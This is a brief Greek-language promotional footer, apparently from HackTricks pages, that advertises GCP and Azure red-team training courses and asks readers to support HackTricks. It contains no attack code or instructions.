Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks